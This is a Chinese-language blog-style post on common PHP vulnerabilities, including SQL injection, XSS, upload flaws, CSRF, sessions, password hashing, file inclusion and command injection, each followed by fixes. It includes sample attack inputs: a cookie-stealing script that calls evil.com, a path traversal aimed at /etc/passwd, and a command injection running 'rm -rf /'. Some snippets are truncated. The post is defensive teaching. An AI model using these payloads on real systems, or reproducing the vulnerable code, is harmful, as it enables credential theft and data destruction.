最近在review一个老项目的代码,发现这东西简直就是PHP安全漏洞的活体博物馆。作为一个在PHP坑里摸爬滚打多年的老油条,今天就来聊聊那些年我们交过的学费。
SQL注入:老生常谈的坑
先看这段祖传代码:
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT FROM users WHERE username='$username' AND password='$password'";
这代码要是放在十年前还能算及格,现在看到这种写法我血压直接飙到180。知道什么叫"Bobby Tables"吗?就这代码,用户输入个' OR '1'='1,恭喜你,整个用户表都泄露了。
解决方案简单到令人发指:
1. 用PDO预处理:$stmt = $pdo->prepare("SELECT FROM users WHERE username=? AND password=?");
2. 或者用mysqli_real_escape_string()处理输入(虽然这招现在不太推荐了)
XSS攻击:你以为输出就安全了?
再看这个经典案例:
echo "
用户要是在name参数里塞个<script>alert('你被黑了')</script>,你的页面就变成弹窗广告了。更可怕的是盗取cookie的XSS,比如:
<script>new Image().src='http://evil.com/steal.php?cookie='+document.cookie;</script>
防御方法:
1. htmlspecialchars()是标配:echo "欢迎," . htmlspecialchars($_GET['name'], ENT_QUOTES) . "!";
2. 设置HttpOnly的cookie:ini_set("session.cookie_httponly", 1);
文件上传漏洞:给你服务器装后门
见过这种处理上传的代码吗:
if($_FILES['file']['type'] == 'image/jpeg') {
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/'.$_FILES['file']['name']);
}
骗子们最爱这种代码了。人家把evil.php改个后缀叫evil.jpg,MIME类型伪造一下,你的服务器就成肉鸡了。正确的姿势应该是:
1. 检查文件扩展名:$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
2. 重命名文件:$newName = md5(uniqid()).'.'.$ext;
3. 限制上传目录不可执行:open_basedir = /var/www/uploads/:/tmp/
CSRF攻击:躺着中枪
用户登录后,在另一个标签页访问恶意网站,这个网站里有:
如果用户刚好登录着网银,钱就飞了。防御方法:
1. 用CSRF token:
2. 检查Referer头(虽然不太可靠)
3. 关键操作要求二次验证
Session安全问题:你的会话可能不是你的
PHP默认的session处理有很多坑:
1. session固定攻击:攻击者先获取一个session id,然后诱导受害者使用这个id登录
2. session劫持:通过XSS盗取session id
解决方案:
1. 登录后重置session:session_regenerate_id(true);
2. 绑定用户IP:$_SESSION['user_ip'] = $_SERVER['REMOTE_ADDR'];
3. 设置合理的session过期时间:ini_set('session.gc_maxlifetime', 1800);
密码存储:别再用md5了!
看到这种代码我直接想打人:
$password = md5($_POST['password']);
现在GPU一秒能算几十亿次md5,彩虹表早就把常见密码都收录了。正确做法:
1. 用password_hash(): $hash = password_hash($password, PASSWORD_DEFAULT);
2. 验证用password_verify(): if(password_verify($input, $hash)) {...}
include漏洞:小心被穿目录
这种代码很危险:
include($_GET['page'] . '.php');
用户输入个../../etc/passwd%00,你的服务器信息就泄露了。应该:
1. 白名单验证:$allowed = ['home','about','contact']; if(in_array($_GET['page'],$allowed))...
2. 用basename()处理路径:include(basename($_GET['page']).'.php');
PHP配置的坑
php.ini里这些配置要特别注意:
1. allow_url_include = Off (防止远程文件包含)
2. display_errors = Off (别把错误信息暴露给用户)
3. expose_php = Off (别告诉别人你用PHP)
4. disable_functions = exec,passthru,shell_exec,system (禁用危险函数)
SQL注入进阶:你以为用了框架就安全?
看到Laravel里这种写法我就头疼:
DB::select("SELECT FROM users WHERE id = ".$request->id);
ORM不是免死金牌!正确姿势:
User::where('id', $request->id)->first();
或者用参数绑定:DB::select("SELECT FROM users WHERE id = ?", [$request->id]);
密码重置漏洞
很多自己实现的密码重置功能有严重问题:
1. 重置链接的token没有过期时间
2. token没有和用户绑定
3. 允许暴力破解token
正确做法:
1. 用一次性token:$token = bin2hex(random_bytes(32));
2. 设置15分钟过期
3. 使用后立即失效
写API时常见错误:
1. 没有速率限制,被刷接口
2. 敏感数据直接返回
3. 没有签名验证
解决方案:
1. 用Redis做计数器:$redis->incr('api:'.$ip); if($count > 100) die('too many requests');
2. 数据脱敏:unset($user['password_hash']);
3. 签名验证:hash_hmac('sha256', $data, $secretKey);
最后说点掏心窝子的
安全这事,就像穿秋裤——年轻人总觉得没必要,等老寒腿发作就晚了。我见过太多项目,功能跑得飞起,安全千疮百孔。记住几个原则:
1. 所有输入都是不可信的
2. 最小权限原则
3. 防御要层层设防
4. 保持更新,补丁要及时打
最最后送个彩蛋,你知道这段代码有什么问题吗?
$cmd = "ls ".$_GET['dir'];
system($cmd);
要是用户输入个"; rm -rf /",你就准备重装系统。安全无小事,且写且珍惜。